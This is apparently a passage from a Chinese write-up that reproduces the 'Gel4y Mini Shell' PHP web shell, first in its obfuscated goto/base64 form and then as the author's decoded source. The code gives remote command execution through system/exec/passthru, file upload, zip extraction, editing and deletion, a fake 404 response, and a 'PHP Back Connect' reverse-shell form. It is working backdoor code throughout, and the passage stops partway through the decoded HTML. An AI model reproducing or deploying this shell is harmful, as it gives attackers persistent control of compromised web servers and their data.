TsKQTI0dEk6CmZ3cml0ZSgkYywgJGkpOwpnb3RvIGhZeXphOwppZVAzMzoKJHJhID0gYXJyYXkoJHMsICRwaXBbMV0sICRwaXBbMl0pOwpnb3RvIHZDOUswOwpoMWhENDoKaWYgKGlzX3Jlc291cmNlKCRwcikpIHsKICBnb3RvIHM1ZDdfOwp9CmdvdG8gQXR0RlU7CmNPb0JlOgpXUW1qXzoKZ290byBJSXBDNzsKRUtzaXU6CmdvdG8gaVY2blM7CmdvdG8gUFFUV0M7Cm5fNVVPOgpnb3RvIFY1RFpfOwpnb3RvIElDd2UzOwpiMk1tQToKJGRzID0gYXJyYXkoMCA9PiBhcnJheSgiXDE2MFwxNTFceDcwXHg2NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpLCAyID0+IGFycmF5KCJcMTYwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSk7CmdvdG8gUVdfMlQ7CndrcktMOgpzZXRfdGltZV9saW1pdCgwKTsKZ290byBQVWVEUjsKSzc2c2c6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcFsyXSwgMCk7CmdvdG8gRDNSdWg7CnVXbmlJOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gTVpCcWw7ClBRVFdDOgpnakhfMToKZ290byBpZVAzMzsKajZtSlc6CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHMsIDApOwpnb3RvIGNPb0JlOwp4dlJTejoKd1NOX3Q6CmdvdG8gUGJVczk7Cm94UVd6OgppZiAoIShmZW9mKCRzKSB8fCBmZW9mKCRwaXBbMV0pKSkgewogIGdvdG8gZ2pIXzE7Cn0KZ290byBFS3NpdTsKdWhQU3I6CmlmICghaW5fYXJyYXkoJHMsICRyYSkpIHsKICBnb3RvIFFETDlHOwp9CmdvdG8gTTdNSnc7CnRlam1FOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMF0sIDApOwpnb3RvIFBseER1OwpEU2tUbjoKaWYgKGNvdW50KCR0YXJnZXRzKSA9PSAyKSB7CiAgZ290byBGN0pPcDsKfQpnb3RvIFgyYXVYOwpJQ3dlMzoKdmcxSjE6CmdvdG8gUEJSM2U7CmswWXBROgpmY2xvc2UoJHBpcFsxXSk7CmdvdG8gbFVjUWI7ClAySE14OgppZiAoIWluX2FycmF5KCRjLCAkcmEpKSB7CiAgZ290byBDR0k0MDsKfQpnb3RvIEE2TUYwOwpoWmk4ejoKJGggPSAkdGFyZ2V0c1sxXTsKZ290byBRM2p2YzsKY2VIbnQ6CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gd1NOX3Q7Cn0KZ290byBLUTFRUjsKd196eFE6CnBlWGVROgpnb3RvIFZEQkFxOwpqaEVkMzoKJHAgPSAkdGFyZ2V0c1swXTsKZ290byBoWmk4ejsKUGJVczk6CmdvdG8gV1Ftal87CmdvdG8gdm0wOXQ7CmNIeXJYOgp0WGNJXzo=");
goto F7zXLBDEK2;
eGmrGMmM7f:
header("Content-Transfer-Encoding: Binary");
goto dFM2sYAJlJ;
MMrXTvXqy7:
?></li>
</ul>
</div>
<form method="post" enctype="multipart/form-data">
<div class="input-group mb-1">
<div class="custom-file">
<input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple>
<label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label>
</div>
</div>
</form>
<?php
goto jz_2zEOwzt;
vTj5YprhCZ:
echo '<div class="my-3">';
goto TTVVoj2zH2;
X31kOqdTx7:
?></h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?php
goto qRqOKZqPSD;
n6KlS76u_Y:
if ($hzOvuJeFzz == "cfile") {
goto UVK2cx0wsu;
}
goto iau78ljYgH;
HD1w0oiEBZ:
goto AmZ_WHgxlE;
goto feaBlZ7eEU;
OS5ItmR5yc:
goto kKHSQjgn8i;
goto wrEbKHulxs;
gl7Tq3BnOV:
oC49Ak4Qpk:
goto NGkY1VE6zp;
JaRFY01HAP:
if ($hzOvuJeFzz == 'rename') {
goto b_Aq_femsk;
}
goto tMkG3v_JBI;
p59Ko9RToC:
?>
</div>
</div>
<article class="bg-dark border table-responsive">
<?php
goto TnhMIgmoXz;
YJ142eHcuW:
echo $_SERVER["REMOTE_ADDR"];
goto errh3t4_bj;
MAe0YHyLaa:
if (!($_GET["t"] == "d")) {
goto Bip4SkFlwd;
}
goto qvSYZCVNk0;
d5oIa6c6mo:
echo rXEfBN6HEy($_GET["n"]);
goto EyVdz_YRmU;
YYviAIE2go:
define("FmHaNw7Sd4", "Gel4y Mini Shell");
goto aebgRtztCr;
NGkY1VE6zp:
?>
<table class="table table-hover table-borderless table-sm">
<thead class="text-light">
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
goto jP2j_WsoIN;
IWDRDymnkm:
?></a></h3>
</div>
<div>
<span>PHP Version: <?php
goto zvl7rFBRXM;
SdQQ2vh1pk:
?>"><i class="fa fa-terminal"></i></a>
</div>
</div>
<div class="border-top">
<ul style="list-style:none;" class="m-0 p-0">
<li><b>Server</b>: <?php
goto MWacVfk2Z9;
MTQ6j3p_JU:
header("Content-disposition: attachment; filename=\"" . rXEfbn6hey($_GET["n"]) . "\"");
goto DnMdqAJ3M9;
ZNQuKDPR_4:
function bb5inVuGyH($TyHtfHVLGo, $IqAFWYu448, $JpGr27PQID = 1) {
$F3VGKH3ww0 = $JpGr27PQID == 1 ? "success" : "error";
echo "<script>swal({title: \"{$F3VGKH3ww0}\", text: \"{$TyHtfHVLGo}\", icon: \"{$F3VGKH3ww0}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?l=" . $IqAFWYu448 . "\"}})</script>";
}
goto aEJlf18Qtu;
iQnuU7UbQZ:
$j78MPlSKil = $j6fm9JkXX3->open($TQjF6JN0Xn[$IKiphkRa67]);
goto knjkHswo6U;
LVUXJeDOyh:
isset($_POST["s"]) ? file_put_contents($EEfZ6TZDdb . '/' . rXefBN6HeY($_GET["n"]), $_POST["ctn"]) ? bb5InvUgYH("file contents changed successfully", rXefbN6heY($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6Hey("view", 0) . "&n={$_GET["n"]}") : BB5INVUgYh("file contents failed to change", RxEFBN6hey($EEfZ6TZDdb, 0), 0) : null;
goto Xzf4iJyVK1;
torkRF7nBa:
wBRwvY136L:
goto Hqjr9ld8se;
EfxIdbdntP:
?>
<h5>PHP Back Connect</h5>
<form method="post">
<div class="input-group mb-3">
<input type="text" name="ip" placeholder="<?php
goto YJ142eHcuW;
OyonV_aXfE:
?></span><br>
<a href="<?php
goto PaYSwvYogS;
dbYRcKsPIp:
goto ZBWF6RSxh7;
goto neVn1XNWmB;
tMkG3v_JBI:
if ($hzOvuJeFzz == 'view') {
goto ZKB22Ixten;
}
goto Vdz113nHJZ;
wKFr1pnzc8:
if (!file_exists($IqAFWYu448)) {
goto W3ggH6skqX;
}
goto QFdg_eyOVo;
ynEoAvZ7Ef:
if (move_uploaded_file($Dfdl9lkULa[$IKiphkRa67], $TQjF6JN0Xn[$IKiphkRa67])) {
goto bBFoGpk2eg;
}
goto F9xmKW7KdV;
fhYGKduull:
function q0wfVKUjRs($Isvtvo_Khk) {
goto Uub4h9gkCq;
ulKBIpyXfr:
p9yRrj0I9L:
goto n3O8FXbtxz;
RMYz6RC3Ah:
return;
goto ulKBIpyXfr;
Uub4h9gkCq:
global $dYmVY71pVg;
goto r92XOqmxLW;
iPuafV0c4h:
t5mcNHryHj:
goto Arp7pYvHSx;
r92XOqmxLW:
if (!(trim(pathinfo($Isvtvo_Khk, PATHINFO_BASENAME), '.') === '')) {
goto p9yRrj0I9L;
}
goto RMYz6RC3Ah;
LTSk29_TNd:
goto t_3eBussG0;
goto iPuafV0c4h;
TrTjxe9V1Z:
t_3eBussG0:
goto Lsc91SF1NQ;
n3O8FXbtxz:
if (is_dir($Isvtvo_Khk)) {
goto t5mcNHryHj;
}
goto tzw5ULHmNH;
Arp7pYvHSx:
array_map("deldir", glob($Isvtvo_Khk . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
goto W0MZdB17mR;
tzw5ULHmNH:
unlink($Isvtvo_Khk);
goto LTSk29_TNd;
W0MZdB17mR:
rmdir($Isvtvo_Khk);
goto TrTjxe9V1Z;
Lsc91SF1NQ:
}
goto pd2Xp8eNUU;
uLfgP7Khd1:
lgFAN1_7Jm:
goto cS5buQoIBP;
JkRKETx2SF:
if (!($IKiphkRa67 < count($TQjF6JN0Xn))) {
goto HmX9zWMF6z;
}
goto Kv3eqCCcFx;
WNq6fySumu:
NetExxORKl:
goto z_nhs7Cbn7;
aebgRtztCr:
if (isset($_GET['l'])) {
goto kMsRr8KO2i;
}
goto L3Ih6C_82z;
s00fzLO5Yl:
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . RxEfbN6hEy($_GET["n"])));
goto PigAhONo2f;
mfVsx6oHSn:
foreach ($WekN4aubDI as $x42dyPJI_Q => $iIMh47ezZF) {
goto rj2MyZrB7k;
o5iQ8gJvU5:
goto J4jLfCminm;
goto K8SqFDrXtg;
NXqPv90VJX:
if (!($IKiphkRa67 != $x42dyPJI_Q)) {
goto ORgV2SAthb;
}
goto jM_WWULfOi;
lEe_5VWrji:
prNiQDFSWd:
goto bzTtMV0YbX;
kqueK2Wcit:
goto VcWvq3YT7y;
goto lEe_5VWrji;
K8SqFDrXtg:
WgxzZTQFWr:
goto EqrSyJAzqs;
lrebfMCSex:
$IKiphkRa67 = 0;
goto zLrS5rFG3r;
DYw5CkpSoV:
if (!($iIMh47ezZF == "")) {
goto WgxzZTQFWr;
}
goto o5iQ8gJvU5;
e3PJBKFEd2:
$IKiphkRa67++;
goto kqueK2Wcit;
WyFtfssQJR:
J4jLfCminm:
goto QGOp2JL0z3;
TSaw27ioP1:
goto J4jLfCminm;
goto Qd38t26_IT;
zbZV4IrRXr:
ORgV2SAthb:
goto g1Pvr70JqD;
zLrS5rFG3r:
VcWvq3YT7y:
goto dv4oXQmaUz;
rj2MyZrB7k:
if (!($x42dyPJI_Q == 0 && $iIMh47ezZF == "")) {
goto WsglBdtDxt;
}
goto R5q5By1332;
R5q5By1332:
echo "<a href=\"?l=2f\">~</a>/";
goto TSaw27ioP1;
Qd38t26_IT:
WsglBdtDxt:
goto DYw5CkpSoV;
d9YYcNyoqr:
echo rxEFbn6hey($WekN4aubDI[$IKiphkRa67], 0);
goto NXqPv90VJX;
g1Pvr70JqD:
xdjW07QcoA:
goto e3PJBKFEd2;
jM_WWULfOi:
echo "2f";
goto zbZV4IrRXr;
bzTtMV0YbX:
echo "\">{$iIMh47ezZF}</a>/";
goto WyFtfssQJR;
dv4oXQmaUz:
if (!($IKiphkRa67 <= $x42dyPJI_Q)) {
goto prNiQDFSWd;
}
goto d9YYcNyoqr;
EqrSyJAzqs:
echo "<a href=\"?l=";
goto lrebfMCSex;
QGOp2JL0z3:
}
goto WX3PBtaAK3;
MOs0Lw2QRZ:
goto ZBWF6RSxh7;
goto pzkU10IQiS;
ZPaDeX38qY:
goto y8tasQLJHv;
goto gl7Tq3BnOV;
neVn1XNWmB:
ZKB22Ixten:
goto egAEX13geb;
gtEtp66eA1:
W3ggH6skqX:
goto EKT_1bSizy;
deRzU3bq7h:
BB5InVuGyh("folder deleted successfully", rxEFbN6Hey($EEfZ6TZDdb, 0));
goto pyjFZoGGnB;
F9xmKW7KdV:
Bb5iNVugyH("file failed to upload", rXeFBN6HeY($EEfZ6TZDdb, 0), 0);
goto OS5ItmR5yc;
EKT_1bSizy:
Bb5inVuGyH("file deleted successfully", RXEfbn6heY($EEfZ6TZDdb, 0));
goto k5kZqV10bb;
cVnxCLLc0W:
vpkSwTQo6s:
goto vaea2TNc3W;
cCui051SEu:
?></li>
<li><b>PHP Uname</b>: <?php
goto FrJD9Jsque;
MvSZRFs0SS:
?></pre>
<form method="post">
<div class="form-group">
<input type="text" name="cmd" class="form-control">
</div>
</form>
<?php
goto ygIr4ZdOgL;
P7K6f8_xHe:
?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
goto TGAVCVIxJL;
YSarmTalmX:
kKHSQjgn8i:
goto torkRF7nBa;
wrEbKHulxs:
bBFoGpk2eg:
goto DsIF5JU9Pz;
EdwYtsCOvQ:
goto ZBWF6RSxh7;
goto rPHci82Pdj;
tJJFzbSKwD:
Bb5inVUGYh("file uploaded successfully", RxEfbn6heY($EEfZ6TZDdb, 0));
goto YSarmTalmX;
s2A6_q8Isn:
Bb5INvUgYh("failed to delete the folder", RxefbN6HEY($EEfZ6TZDdb, 0), 0);
goto KvyyfhHz82;
URqiW6LJpm:
header("Content-Type: application/octet-stream");
goto eGmrGMmM7f;
HAtVYbHdyo:
$IqAFWYu448 = $EEfZ6TZDdb . '/' . RXefBN6hey($_GET["n"]);
goto MAe0YHyLaa;
EY2Ff1XUeK:
?>"><i class="fa fa-plus"></i><i class="fa fa-file"></i></a> |
<a href="<?php
goto zWSkrZzsWq;
pLaaRpww2m:
if (!($_GET["t"] == "f")) {
goto bLvI_Fu3sF;
}
goto J6766bT1wk;
qWSOAipFym:
echo "?l=" . rxefbn6HeY($EEfZ6TZDdb, 0) . "&a=" . rxEFbN6HEY("term", 0);
goto SdQQ2vh1pk;
dNAXwyF5jm:
WChit6Tjkf:
goto uZLJEXNBXC;
Fhxj0LxAwC:
$g9_4Zq7xGB = $_POST['port'];
goto hZocDUXtgN;
k5kZqV10bb:
pXxft1wW2P:
goto kPuh3sB7ZW;
FM1zySo56b:
if (!file_exists($IqAFWYu448)) {
goto yLxrotraE3;
}
goto s2A6_q8Isn;
Kv3eqCCcFx:
$Dfdl9lkULa = $_FILES['f']['tmp_name'];
goto Pgo80visnY;
DSgJ4EEwOL:
?>
<h5>New folder</h5>
<form method="post">
<div class="form-group">
<label for="n">Name :</label>
<input name="n" id="n" class="form-control" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
goto Pb_Plr8szn;
NcDR2cFSK_:
?>"><i class="fa fa-usb"></i></a> |
<a href="<?php
goto qWSOAipFym;
J6766bT1wk:
$IqAFWYu448 = $EEfZ6TZDdb . '/' . RxEFBn6HeY($_GET["n"]);
goto fpFzgy_AKw;
rPHci82Pdj:
N64OxnT9Bh:
goto vhjTMlZILs;
EyVdz_YRmU:
?></span>
<div class="form-group">
<label for="ctn">Content :</label><textarea id="ctn" cols="30" rows="10" class="form-control" readonly><?php
goto LLrd3aAnEA;
z_nhs7Cbn7:
?>
<h5>Edit file</h5>
<span>File name : <?php
goto u_4IaYeVy2;
BhKgAwcXlI:
echo rand(1, 6) * 1922;
goto uuEMYRcWJf;
LLrd3aAnEA:
echo htmlspecialchars(file_get_contents($EEfZ6TZDdb . '/' . rXEFBN6HeY($_GET["n"])));
goto WQ5FRO1vHE;
pyjFZoGGnB:
jJAOZDhhff:
goto FFNAjFboph;
h3GEWWTVgD:
if (!isset($_GET["download"])) {
goto ewlVh3jO7D;
}
goto URqiW6LJpm;
wlhV36GSCm:
$j6fm9JkXX3->close();
goto YtyLK4CiZm;
Kf_pWcks49:
$TQjF6JN0Xn = $_FILES['f']['name'];
goto EY59hEhqcL;
PigAhONo2f:
?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button>
</div>
</form>
<?php
goto LVUXJeDOyh;
AUao0i22oH:
echo "?l=" . RXefBN6HEY($EEfZ6TZDdb, 0) . "&a=" . RXEfBn6hey("cfile", 0);
goto EY2Ff1XUeK;
Ms3mPsNEFz:
y8tasQLJHv:
goto b2f2v54QKI;
Vdz113nHJZ:
goto ZBWF6RSxh7;
goto JxeppvOhkj;
DnMdqAJ3M9:
ewlVh3jO7D:
goto pMoCy2S2fT;
C3NQH6jga4:
echo FmHaNw7Sd4;
goto IWDRDymnkm;
TTVVoj2zH2:
$TkCbW35AQi = $_POST['ip'];
goto Fhxj0LxAwC;
DsIF5JU9Pz:
if (!in_array($Dbi_h94n09[$IKiphkRa67], $jzgT5WmvBi)) {
goto eCbgD8Xa7G;
}
goto DMDVAvNxme;
uTadf7sHfn:
ZBWF6RSxh7:
goto D8pLysu5hH;
jzLW7LC1KZ:
if (!isset($_GET["a"])) {
goto vpkSwTQo6s;
}
goto dKtG97l82G;
D8pLysu5hH:
?>
</div>
<?php
goto cVnxCLLc0W;
DYX5ofDNkJ:
HmX9zWMF6z:
goto jt5neMFYv3;
P3l6Ot_Nq2:
?>
<h5>New file</h5>
<form method="post">
<div class="form-group">
<label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt">
</div>
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button>
</div>
</form>
<?php
goto tRwrGXooF4;
aEJlf18Qtu:
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="theme-color" content="red">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<title></title>
<style>
body {
color: #fff;
font-family: serif;
background-color: #000;
}
a, a:hover, pre {
color: #fff;
}
.table-hover tbody tr:hover td {
background: red
}
.table-hover tbody tr:hover td>* {
color: #fff
}
.table>tbody>tr>* {
color: #fff;
vertical-align: middle
}
.form-control {
background: 0 0!important;
color: #fff!important;
border-radius: 0
}
.form-control::placeholder {
color: #fff;
opacity: 1
}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body>
<main class="my-1">
<div class="border bg-dark px-1">
<div class="d-flex justify-content-between">
<div>
<h3 class="mt-2"><a href="?"><?php
goto C3NQH6jga4;
LcspiVxgnz:
function hrXkAttUKJ($rn5LpfN5ed) {
goto Llxlo5JLmV;
VI4smubLWC:
switch ($q_apefxuXb & 0xf000) {
case 0xc000:
$pEiaUOtN6B = 's';
goto KaLTMLFLZ8;
case 0xa000:
$pEiaUOtN6B = 'l';
goto KaLTMLFLZ8;
case 0x8000:
$pEiaUOtN6B = '-';
goto KaLTMLFLZ8;
case 0x6000:
$pEiaUOtN6B = 'b';
goto KaLTMLFLZ8;
case 0x4000:
$pEiaUOtN6B = 'd';
goto KaLTMLFLZ8;
case 0x2000:
$pEiaUOtN6B = 'c';
goto KaLTMLFLZ8;
case 0x1000:
$pEiaUOtN6B = 'p';
goto KaLTMLFLZ8;
default:
$pEiaUOtN6B = 'u';
}
goto viwKXWVlCm;
BuDpmu4Dpa:
$pEiaUOtN6B .= $q_apefxuXb & 0x2 ? 'w' : '-';
goto oSsnbfMX7N;
RHtymoOkRA:
$pEiaUOtN6B .= $q_apefxuXb & 0x80 ? 'w' : '-';
goto qaVIp_1poQ;
Llxlo5JLmV:
$q_apefxuXb = fileperms($rn5LpfN5ed);
goto VI4smubLWC;
iehULJc3F2:
$pEiaUOtN6B .= $q_apefxuXb & 0x100 ? 'r' : '-';
goto RHtymoOkRA;
viwKXWVlCm:
U0bpzZFP8o:
goto HLfsKw9eD9;
oSsnbfMX7N:
$pEiaUOtN6B .= $q_apefxuXb & 0x1 ? $q_apefxuXb & 0x200 ? 't' : 'x' : ($q_apefxuXb & 0x200 ? 'T' : '-');
goto Izs_QCpKLv;
PSoRY6eJEK:
$pEiaUOtN6B .= $q_apefxuXb & 0x10 ? 'w' : '-';
goto BYUFnpD5Kl;
WU_ISBG1Cd:
$pEiaUOtN6B .= $q_apefxuXb & 0x4 ? 'r' : '-';
goto BuDpmu4Dpa;
HLfsKw9eD9:
KaLTMLFLZ8:
goto iehULJc3F2;
Izs_QCpKLv:
return $pEiaUOtN6B;
goto Wym9usKGF4;
qaVIp_1poQ:
$pEiaUOtN6B .= $q_apefxuXb & 0x40 ? $q_apefxuXb & 0x800 ? 's' : 'x' : ($q_apefxuXb & 0x800 ? 'S' : '-');
goto gCMWKc7Qi2;
gCMWKc7Qi2:
$pEiaUOtN6B .= $q_apefxuXb & 0x20 ? 'r' : '-';
goto PSoRY6eJEK;
BYUFnpD5Kl:
$pEiaUOtN6B .= $q_apefxuXb & 0x8 ? $q_apefxuXb & 0x400 ? 's' : 'x' : ($q_apefxuXb & 0x400 ? 'S' : '-');
goto WU_ISBG1Cd;
Wym9usKGF4:
}
goto fhYGKduull;
TnhMIgmoXz:
if (!isset($_GET["a"])) {
goto oC49Ak4Qpk;
}
goto jzLW7LC1KZ;
d6E_B1kiXH:
if ($hzOvuJeFzz == 'edit') {
goto NetExxORKl;
}
goto JaRFY01HAP;
AxYV08ef23:
chdir($EEfZ6TZDdb);
goto e1DVBPK5MZ;
iiqLupTD75:
?>"><i class="fa fa-plus"></i><i class="fa fa-folder"></i></a> |
<a href="<?php
goto AUao0i22oH;
gQ0uxJM3IM:
?>
<?php
goto uED_zyRYat;
feaBlZ7eEU:
kMsRr8KO2i:
goto GBMZg5FNn5;
uED_zyRYat:
if ($hzOvuJeFzz == "con") {
goto mqgxd0ffd7;
}
goto n6KlS76u_Y;
hlAdt5ocAO:
goto pXxft1wW2P;
goto gtEtp66eA1;
Xzf4iJyVK1:
goto ZBWF6RSxh7;
goto f3YaO_36Gp;
cS5buQoIBP:
goto ZBWF6RSxh7;
goto nRad7u_84k;
iau78ljYgH:
if ($hzOvuJeFzz == "cdir") {
goto iqfV5KrODo;
}
goto gsi4neWUGA;
nNXfQ4ODK4:
et0KZW4bvS:
goto JkRKETx2SF;
ygIr4ZdOgL:
goto ZBWF6RSxh7;
goto WNq6fySumu;
pMoCy2S2fT:
?>
</div>
<div class="border bg-dark my-2 py-2 table-responsive">
<div class="mx-2">
<span>Path:</span>
<?php
goto A1iu02J4SH;
dKtG97l82G:
$hzOvuJeFzz = RxEFbN6HEY($_GET["a"]);
goto t5hyi0WMXW;
fV1xJLciE1:
$j6fm9JkXX3->extractTo(basename($TQjF6JN0Xn[$IKiphkRa67], '.zip'));
goto wlhV36GSCm;
A1iu02J4SH:
$WekN4aubDI = preg_split("/(\\\\|\\/)/", $EEfZ6TZDdb);
goto mfVsx6oHSn;
KvyyfhHz82:
goto jJAOZDhhff;
goto pQ3h2CEIaE;
QFdg_eyOVo:
bb5inVuGYh("file to delete the folder", rxEfBN6Hey($EEfZ6TZDdb, 0), 0);
goto hlAdt5ocAO;
kI2aFVtVVe:
?>
<h5>View <?php
goto xezzXbZ0n3;
PaYSwvYogS:
echo "?l=" . RXEFbn6hey($EEfZ6TZDdb, 0) . "&a=" . rxEfbn6HEy("cdir", 0);
goto iiqLupTD75;
b2f2v54QKI:
?>
</article>
<div class="bg-dark border text-center mt-2 py-2">
<small>Copyright &copy; 2021 - Powered By Indonesian Darknet</small>
</div>
</main>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>
eval(function(p, a, c, k, e, d) {
e = function(c) {
return(c < a?'': e(parseInt(c/a)))+((c = c%a) > 35?String.fromCharCode(c+29): c.toString(36))}; if (!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))
</script>
</body>
</html>
</code></pre>
<p>这 <code>goto</code> 的加密含量也太大了吧。。于是自己编写了相关脚本跑了一跑,折腾了两三个小时,终于把原始内容搞出来了,也就是本仓库的 <code>Gel4y-Mini-Shell-3_decode.php</code>,内容如下:</p>
<pre><code class="language-php"><?php
http_response_code(404);
define("FmHaNw7Sd4", "Gel4y Mini Shell");
if (isset($_GET['l'])) {
$EEfZ6TZDdb = RxEfBN6HEy($_GET['l']);
chdir($EEfZ6TZDdb);
} else {
$EEfZ6TZDdb = getcwd();
}
function ZiOdpZ7NRe($uzNaDUYhmE)
{
if (function_exists('system')) {
@ob_start();
@system($uzNaDUYhmE);
$GpjllTmONM = @ob_get_contents();
@ob_end_clean();
return $GpjllTmONM;
} else {
if (function_exists('exec')) {
@exec($uzNaDUYhmE, $htHTK6yRnX);
$GpjllTmONM = '';
foreach ($htHTK6yRnX as $DWC35O18yz) {
$GpjllTmONM .= $DWC35O18yz;
}
return $GpjllTmONM;
} else {
if (function_exists('passthru')) {
@ob_start();
@passthru($uzNaDUYhmE);
$GpjllTmONM = @ob_get_contents();
@ob_end_clean();
return $GpjllTmONM;
} else {
if (function_exists('LO04lRpWK3')) {
$GpjllTmONM = @lO04lrpWK3($uzNaDUYhmE);
return $GpjllTmONM;
} else {
}
}
}
}
}
function hrXkAttUKJ($rn5LpfN5ed)
{
$q_apefxuXb = fileperms($rn5LpfN5ed);
switch ($q_apefxuXb & 0xf000) {
case 0xc000:
$pEiaUOtN6B = 's';
break;
case 0xa000:
$pEiaUOtN6B = 'l';
break;
case 0x8000:
$pEiaUOtN6B = '-';
break;
case 0x6000:
$pEiaUOtN6B = 'b';
break;
case 0x4000:
$pEiaUOtN6B = 'd';
break;
case 0x2000:
$pEiaUOtN6B = 'c';
break;
case 0x1000:
$pEiaUOtN6B = 'p';
break;
default:
$pEiaUOtN6B = 'u';
}
$pEiaUOtN6B .= $q_apefxuXb & 0x100 ? 'r' : '-';
$pEiaUOtN6B .= $q_apefxuXb & 0x80 ? 'w' : '-';
$pEiaUOtN6B .= $q_apefxuXb & 0x40 ? $q_apefxuXb & 0x800 ? 's' : 'x' : ($q_apefxuXb & 0x800 ? 'S' : '-');
$pEiaUOtN6B .= $q_apefxuXb & 0x20 ? 'r' : '-';
$pEiaUOtN6B .= $q_apefxuXb & 0x10 ? 'w' : '-';
$pEiaUOtN6B .= $q_apefxuXb & 0x8 ? $q_apefxuXb & 0x400 ? 's' : 'x' : ($q_apefxuXb & 0x400 ? 'S' : '-');
$pEiaUOtN6B .= $q_apefxuXb & 0x4 ? 'r' : '-';
$pEiaUOtN6B .= $q_apefxuXb & 0x2 ? 'w' : '-';
$pEiaUOtN6B .= $q_apefxuXb & 0x1 ? $q_apefxuXb & 0x200 ? 't' : 'x' : ($q_apefxuXb & 0x200 ? 'T' : '-');
return $pEiaUOtN6B;
}
function q0wfVKUjRs($Isvtvo_Khk)
{
global $dYmVY71pVg;
if (trim(pathinfo($Isvtvo_Khk, PATHINFO_BASENAME), '.') === '') {
return;
}
if (is_dir($Isvtvo_Khk)) {
array_map("deldir", glob($Isvtvo_Khk . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
rmdir($Isvtvo_Khk);
} else {
unlink($Isvtvo_Khk);
}
}
function rxefBN6hEy($D9W0v0K2q3, $b5rceFkfVX = true, $IKiphkRa67 = 0)
{
$FMsfhj9eNN = '';
$OI03NhJ2Yv = strlen($D9W0v0K2q3);
if ($b5rceFkfVX == false) {
while ($IKiphkRa67 < $OI03NhJ2Yv) {
$FMsfhj9eNN .= dechex(ord($D9W0v0K2q3[$IKiphkRa67]));
$IKiphkRa67++;
}
} else {
while ($IKiphkRa67 < $OI03NhJ2Yv - 1) {
$FMsfhj9eNN .= chr(hexdec("{$D9W0v0K2q3[$IKiphkRa67]}{$D9W0v0K2q3[$IKiphkRa67 + 1]}"));
$IKiphkRa67 += 2;
}
}
return $FMsfhj9eNN;
}
function bb5inVuGyH($TyHtfHVLGo, $IqAFWYu448, $JpGr27PQID = 1)
{
$F3VGKH3ww0 = $JpGr27PQID == 1 ? "success" : "error";
echo "<script>swal({title: \"{$F3VGKH3ww0}\", text: \"{$TyHtfHVLGo}\", icon: \"{$F3VGKH3ww0}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?l=" . $IqAFWYu448 . "\"}})</script>";
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="theme-color" content="red">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<title></title>
<style>
body {
color: #fff;
font-family: serif;
background-color: #000;
}
a, a:hover, pre {
color: #fff;
}
.table-hover tbody tr:hover td {
background: red
}
.table-hover tbody tr:hover td>* {
color: #fff
}
.table>tbody>tr>* {
color: #fff;
vertical-align: middle
}
.form-control {
background: 0 0!important;
color: #fff!important;
border-radius: 0
}
.form-control::placeholder {
color: #fff;
opacity: 1
}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
